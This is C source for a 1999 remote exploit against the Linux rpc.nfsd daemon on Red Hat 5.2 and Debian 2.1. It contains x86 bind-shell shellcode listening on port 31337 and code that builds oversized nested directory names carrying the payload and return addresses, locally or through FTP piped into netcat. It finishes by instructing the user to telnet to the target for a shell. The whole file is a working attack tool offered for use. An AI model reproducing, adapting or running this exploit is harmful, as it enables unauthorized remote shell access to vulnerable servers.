/*
 * rpc.nfsd2 exploit for Linux 
 *
 * today is 4/07/99 (3 months after 1st version;)
 * 
 * changes in v.2:
 * That version can be used for FULL remote exploiting, I changed/added
 * two important things:
 * 		- new shellcode: sh on defined port
 * 		- creating dirs via ftp
 * Now you can hack box remotely if you have +w via ftp. 
 * (./3nfsd2 -e /home/ftp/incoming -f /incoming) | nc target 21
 *  
 * author: tmoggie
 * greetz: 
 *         DiGiT      - bug 
 *         maxiu      - help with shellcode 
 *         lam3rZ GrP - :)
 *                                  
 */

#include <sys/stat.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

#define green "\E[32m"
#define bold "\E[1m"
#define normal "\E[m"
#define red "\E[31m"


char shell[255] =
  "\xeb\x70\x31\xc9\x31\xdb\x31\xc0\xb0\x46\xcd\x80\x5e\x83\xc6\x0f\x89\x46"
  "\x10\x89\x46\x14\x89\x46\x18\xb0\x02\x89\x06\x89\x46\x0c\xb0\x06\x89\x46"
  "\x08\x31\xc0\xfe\xc3\x89\x5e\x04\xb0\x66\x89\xf1\xcd\x80\x89\x06\xb0\x30"
  "\x31\xdb\x31\xc9\xb3\x0e\xfe\xc1\xcd\x80\x66\xb8\x69\x7a\x86\xc4\x66\x89"
  "\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31\xc0\xb0\x10\x89\x46\x08\xb0\x66\x31"
  "\xdb\xb3\x02\x89\xf1\xcd\x80\x31\xc0\xfe\xc0\x89\x46\x04\xb0\x66\xb3\x04"
  "\x89\xf1\xcd\x80\xeb\x04\xeb\x60\xeb\x8c\x89\x46\x0c\x8d\x46\x0c\x89\x46"
  "\x04\x89\x46\x08\xc6\x46\x0c\x10\x31\xc0\xb0\x66\x31\xdb\xb3\x05\x89\xf1"
  "\xcd\x80\x83\xee\x0f\x89\xc3\x31\xc9\x89\x4e\x14\xb0\x3f\xcd\x80\x41\xb0"
  "\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\xfe\x06\xfe\x46\x04\x88\x66\x07\x88\x66"
  "\x0b\x89\x76\x0c\x8d\x46\x09\x89\x46\x10\x31\xc0\xb0\x0b\x89\xf3\x8d\x4e"
  "\x0c\x8d\x56\x10\xcd\x80\x31\xdb\x89\xd8\xfe\xc0\xcd\x80\xe8\x9b\xff\xff";
char next[] = "\xff\x2e\x62\x69\x6e\x2e\x73\x68\x41\x41\x2d\x69";
char mark[] = "\xff\xff\xff";

int port = 31337;
int offset;


void usage(char *prog)
{
  printf("\nusage: %s <-e dir> [-t target] [-s port] "
         "[-f dir] [-u user] [-p pass]\n\n",prog);
  printf("   -e dir	: real-path to exported direectory\n");
  printf("   -t target	: target OS\n ");
  printf("	  1 		- RH 5.2 (default) \n"
         "	  2 		- Debian 2.1\n");
  printf("   -s port	: shell port, default is 31337\n");
  printf("   -f dir 	: ftp-path to exported directory\n");
  printf("   -u		: ftp username (default is ftp)\n");
  printf("   -p		: ftp password (default is ftp@ftp.org\n\n");
  exit(0);
}


void main(int argc, char **argv)
{
  int i,j;
  int ftp=0;
  char user[255]="ftp";
  char pass[255]="ftp@ftp.org";
  char buf[4096];
  char buf2[4096];
  char tmp[4096];
  char tmp2[4096];
  char exp[255] = "!";
  char exp2[255]= "!";
  char addr[] = "\x06\xf6\xff\xff\xbf";


  while (1)
    {
      i = getopt(argc,argv,"t:e:s:f:u:p:");
      if (i == -1) break;
      switch (i)
        {
        case 'e':
          strcpy(exp,optarg);
          break;
        case 's':
          port = optarg;
          break;
        case 'f':
          strcpy(exp2,optarg);
          ftp = 1;
          break;
        case 'u':
          strcpy(user,optarg);
          break;
        case 'p':
          strcpy(pass,optarg);
          break;
        case 't':
          switch (j=atoi(optarg))
            {
            case 1:
              strcpy(addr,"\x06\xf6\xff\xff\xbf");
              break; // debian 1.2
            case 2:
              strcpy(addr,"\x18\xf6\xff\xff\xbf");
              break; // rh 5.2
            }

        default :
          usage(argv[0]);
          break;
        }
    }
  if (!strcmp(exp,"!")) usage(argv[0]);
  if (ftp == 1)
    {
      // sockets, resolve, connect......
    }

  *((unsigned short *) (shell + 66)) = port;

  offset = strlen(exp);
  if (exp[offset-1] != '/') strcat(exp,"/");
  offset = strlen(exp);
  // 1st directory
  bzero(buf,sizeof(buf));
  memset(tmp,'A',255);
  tmp[255]='/';
  tmp[256]='\0';
  strncpy(buf,exp,offset);
  // make our dirs
  if (ftp == 1)
    {
      printf("USER %s\n",user);
      printf("PASS %s\n",pass);
      printf("CWD %s\n",exp2);
    }
  for (i=1;i<=3;i++)
    {
      strncat(buf,tmp,strlen(tmp));
      if (ftp != 1)
        {
          if (mkdir(buf,0777) < 0)
            {
              printf(red"...fuck! can't create directory!!! : %d\n%s\n"normal,i,buf);
              exit(-1);
            }
        }
      else
        {
          tmp[255]='\0';
          printf("MKD %s\n",tmp);
          printf("CWD %s\n",tmp);
        }
    }
  // offset direcory, length depends on real-path
  memset(tmp,'A',255);
  tmp[255-offset]='/';
  tmp[256-offset]='\0';
  strncat(buf,tmp,strlen(tmp));
  if (ftp != 1)
    {
      if (mkdir(buf,0777) < 0)
        {
          printf(red"...fuqn offset dirW#$#@%#$^%T#\n"normal);
          exit(-1);
        }
    }
  else
    {
      tmp[255-offset]='\0';
      printf("MKD %s\n",tmp);
      printf("CWD %s\n",tmp);
    }
  // shell directory
  memset(tmp,'x',255);
  // printf("%d\n", strlen(shell));
  if (ftp == 1) strncat(shell,mark,strlen(mark));
  // printf("%d\n", strlen(shell));
  strncat(shell,next,strlen(next));
  if (ftp == 1) i=3;
  else i=0;
  strcpy(tmp+(255+i-strlen(shell)),shell);
  // printf("%d\n", strlen(shell));
  strncat(buf,tmp,strlen(tmp));
  strncat(buf,"/",strlen("/"));
  if (ftp != 1)
    {
      if (mkdir(buf,0777) < 0)
        {
          printf(red"...fuck!@# shell-dir\n%s\n"normal, buf);
          exit(-1);
        }
    }
  else
    {
      tmp[258]='\0';
      printf("MKD %s\n",tmp);
      printf("CWD %s\n",tmp);
    }
  // addr direcotry
  memset(tmp,'a',255);
  tmp[97] = '\0';
  //  *((int*)(tmp+93)) = addr;
  // if (ftp != 1) *((int*)(tmp+93)) = 0xbffff606; // debian 2.1
  // else {
  strcpy(tmp+93,addr);
  // }
  strncat(buf,tmp,strlen(tmp));
  if (ftp != 1)
    {
      if (mkdir(buf,0777) < 0)
        {
          printf(red"...fuck!@#!@#!$ addrez-dir ^\n%s\n"normal, buf);
          exit(-1);
        }
    }
  else
    {
      printf("MKD %s\n",tmp);
      printf("quit\n",tmp);
    }
  fprintf(stderr,normal green"Ok\n"normal);
  fprintf(stderr,"now you have to do: "bold green \
          "rm -rf /path-to-mount-point/A[tab] & \n"
          "and: telnet target %d\n\n"normal,port);
}
/*                    www.hack.co.za              [2000]*/